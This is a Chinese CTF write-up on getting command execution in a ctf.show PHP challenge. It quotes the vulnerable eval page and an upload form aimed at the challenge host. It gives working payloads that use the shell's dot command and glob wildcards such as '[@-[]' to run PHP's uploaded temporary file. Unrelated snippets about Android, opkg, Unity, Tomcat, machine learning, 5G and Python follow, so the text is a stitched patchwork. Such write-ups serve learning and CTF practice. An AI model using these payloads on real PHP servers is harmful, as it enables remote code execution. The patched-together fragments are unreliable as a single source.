利用临时文件的命令执行
临时文件的命名规则
在上传存储到临时目录后,临时文件命名的规则如下:
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。
PHP上传机制
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。
<?php
#error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_红包题</title>
</head>
<body>
<center>
<h2>ctf.show_红包题</h2>
<h4>where is the flag?</h4>
</center>
<!-- hint:?cmd= -->
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
</body>
</html>
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
可以用p字母,有蹊跷。。。。
然后用的方法就是执行临时文件。
<!DOCTYPE html>
<html>
<body>
<form action="http://356c8675-3004-4ae6-8ea1-0d372a6f683b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
将这个写入题目html,然后抓包
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。
?cmd=?><?=`.%20/??p/p?p??????`;
后面是搬的p神的一些东西
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@与[之间:
那么,我们可以利用[@-[]来表示大写字母:
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
index.php?code=?><?=`. /???/????????[@-[]`;?>
题总结
题上生成的临时文件名格式是php[A-Za-z]{6}
然后每次请求,临时文件都会变(之前上传的文件就被删除)
然后这个题用不了p神的那个payload,被过滤一些字符。
最近发现在默认添加Button控件的时候,text属性上会默认使用全部大写的英文。那么想要原文展示应该设置那个属性呢?特此记录1、在Android开发中,会常常用到Button这个控件,但在设置text文本显示的时候,跟我们想要的效果不一样。2、如在xml中使用Button控件的时候:android:id="@+id/btnLogin"android:layout_width=“match...
1.简介https://oldwiki.archive.openwrt.org/doc/techref/opkgOpkg 是一个基于 ipkg 的轻量级的软件包管理系统,主要用于嵌入式系统,目前应用opkg的有Open WRT 和 Open Embedded。1Opkg的详细使用方法可以参考OpenWRT的 WIKI页面,不再赘述,本文将重点解释opkg的工作原理。...
脚本及效果文件下载:链接:https://pan.baidu.com/s/1UU1j976qK_dfPA4PKr8W4w提取码:yy04使用方法1.导入unitypackage2.在Main camera上添加 HighlightingEffect脚本3.给需要高亮的物体添加 HighlightableObject脚本4.编写High.cs脚本并将其挂载到任一物体(比如Light)上,脚本如下:...
#include&lt;bits/stdc++.h&gt; 调用此头文件相当于//c#ifndef _GLIBCXX_NO_ASSERT#include&lt;cassert&gt;#endif#include&lt;cctype&gt;#include&lt;cerrno&gt;#include &lt;cfloat&gt;#include &lt;ciso646&...
先是报个错,无法启动,基本意思就是64bit的Tomcat无法安装在32bit上去,但是我这个电脑是64的,网上搜了一下,是jre的问题,一会再写个安装问题的解答,先说这个。配置好Java环境变量后(还有JRE_HOME ,值为jdk下jre路径,网上是这么说的我配置没好用,先配着吧,可能别人会好用呢。)启动Tomcat(双击Tomcat的bin目录下的startup.ba
前言:上一篇已经初步介绍了机器学习相关知识,简短介绍了机器学习的分类等等,本篇介绍其中监督学习中的分类领域下的感知器算法。本篇将循序渐进的实现一个感知器,并且通过训练使其具备对鸢尾花数据集中数据进行分类的能力。早期机器学习-人造神经元在详细讨论感知器和相关算法之前,先大体了解一下早期机器学习的起源。为了理解大脑的工作原理以涉及人工智能系统,沃伦*麦卡洛克和沃尔特*皮茨在1943年...
'@@tx_isolation' is deprecated and will be removed in a future release. Please use '@@transa使用pycharm的时候用sqlalchemy插件链接数据库,出现的以上的报错,解决方法:将mysql升级pip install sqlalchemy==1.1.15...
程序猿捡到一部Android手机是无节操的破解还是高尚的归还
5G Band及NR-ARFCN的定义于3GPPTS 38.104关于Frequency-NR ARFCN换算,两个外国的在线计算工具可供参考1.https://itectec.com/3gpp-arfcn-frequency-converter/ 支持同时计算5G NR/LTE/UMTS/GSM,比较方便2.http://niviuk.free.fr/nr_band.php...
参考文章https://blog.csdn.net/octdream/article/details/79492778 感谢博主https://www.runoob.com/svg/svg-tutorial.html背景 公司目前使用qt制作一些widget界面的客户端程序(做的传统行业),没有使用qml,最近在开发界面的时候,发现要根据不同的现场要配置不同的样式,主要是配置颜色,有些控件上需要加载图片。不同的现场需要加载不同颜色的图片,现在使用的png,jpg这样的图片,...
学任何语言最开始的第一个编程语句就是打印“Hello World!”,python 也不例外:print("Hello World!")python是一门解释性、编译性、互动性和面向对象的脚本语言(来源百度百科),为什么这么多语言可以学习,偏偏要学习Python呢?因为语法简单,同样的一个功能,Python可能10行代码搞定,java就可能要100行。本人从事的工作又是测试工作,在功能测试花了大部...
Android配置build.gradle编译release包时以日期时间加序列号为Version Code且Version Code自动增长(二)Android官方推荐以一个自然增长的整数值为Version Code,比如以基础数值1为基础,每次发一个release包时候Version值自增长1,于是Version Code以1,2,3,4,5,,,,这种样式的自然整数增长下去。然而有时候,...